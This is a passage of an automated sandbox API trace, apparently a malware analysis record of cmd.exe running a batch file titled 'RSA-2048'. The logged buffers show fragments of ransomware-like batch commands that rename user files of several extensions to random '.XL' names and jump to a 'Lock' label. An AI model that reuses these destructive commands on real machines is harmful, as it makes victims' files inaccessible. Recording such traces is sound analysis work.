lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4542.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4542.xl")) returned 1 [0039.507] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcca2f0, ftCreationTime.dwHighDateTime=0x1d5e581, ftLastAccessTime.dwLowDateTime=0x428e3a80, ftLastAccessTime.dwHighDateTime=0x1d5e51c, ftLastWriteTime.dwLowDateTime=0x428e3a80, ftLastWriteTime.dwHighDateTime=0x1d5e51c, nFileSizeHigh=0x0, nFileSizeLow=0x15db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVy5iiiE8Qs49BGw.gif", cAlternateFileName="")) returned 0 [0039.507] GetLastError () returned 0x12 [0039.507] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0039.507] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.507] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.508] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.508] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.508] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.508] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.508] SetConsoleInputExeNameW () returned 0x1 [0039.508] GetConsoleOutputCP () returned 0x1b5 [0039.509] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.509] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.509] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.509] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.509] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.509] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0039.509] GetProcessHeap () returned 0x4e0000 [0039.509] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.510] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.510] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.510] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.510] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.510] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.510] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0039.510] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1448, lpOverlapped=0x0) returned 1 [0039.510] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0039.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n\n") returned 2 [0039.510] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.510] GetFileType (hFile=0x74) returned 0x1 [0039.510] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.510] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.510] GetProcessHeap () returned 0x4e0000 [0039.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.511] _tell (_FileHandle=3) returned 4583 [0039.511] _close (_FileHandle=3) returned 0 [0039.511] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.511] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0039.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0039.511] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1446, lpOverlapped=0x0) returned 1 [0039.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0039.511] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n\n") returned 11 [0039.512] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.512] GetFileType (hFile=0x74) returned 0x1 [0039.512] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.512] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0039.512] GetProcessHeap () returned 0x4e0000 [0039.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.512] GetProcessHeap () returned 0x4e0000 [0039.512] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.512] GetProcessHeap () returned 0x4e0000 [0039.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0039.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.512] _tell (_FileHandle=3) returned 4594 [0039.513] _close (_FileHandle=3) returned 0 [0039.513] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0039.513] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0039.513] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0039.513] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0039.513] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0039.513] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0039.513] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0039.513] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0039.513] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0039.513] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0039.513] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0039.513] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0039.513] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0039.513] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0039.513] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0039.513] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0039.513] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0039.513] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0039.513] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0039.513] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0039.513] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0039.513] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.514] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.514] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0039.514] GetProcessHeap () returned 0x4e0000 [0039.514] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0039.514] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0039.514] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.514] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0039.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.514] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0039.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.514] GetFileType (hFile=0x74) returned 0x1 [0039.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0039.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=4600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0039.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\n 4542.XL") returned 6 [0039.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0039.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.515] GetFileType (hFile=0x74) returned 0x1 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0039.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=4626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0039.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n2\r\n") returned 26 [0039.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0039.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.515] GetFileType (hFile=0x74) returned 0x1 [0039.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0039.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=4628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0039.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0039.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0039.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.516] GetFileType (hFile=0x74) returned 0x1 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0039.516] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=4639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0039.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0039.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0039.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.516] GetFileType (hFile=0x74) returned 0x1 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0039.516] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=4645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0039.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0039.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0039.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.517] GetFileType (hFile=0x74) returned 0x1 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0039.517] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=4647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0039.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0039.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0039.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.517] GetFileType (hFile=0x74) returned 0x1 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0039.517] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=4673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0039.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0039.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0039.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.518] GetFileType (hFile=0x74) returned 0x1 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0039.518] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=4684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0039.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0039.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0039.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.518] GetFileType (hFile=0x74) returned 0x1 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0039.518] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=4686, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0039.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0039.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.519] GetFileType (hFile=0x74) returned 0x1 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0039.519] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=4692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0039.519] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0039.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0039.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.519] GetFileType (hFile=0x74) returned 0x1 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0039.519] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=4694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0039.519] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0039.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0039.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.520] GetFileType (hFile=0x74) returned 0x1 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0039.520] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=4720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0039.520] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0039.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0039.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.520] GetFileType (hFile=0x74) returned 0x1 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0039.520] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=4722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0039.520] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0039.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0039.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.521] GetFileType (hFile=0x74) returned 0x1 [0039.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0039.521] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 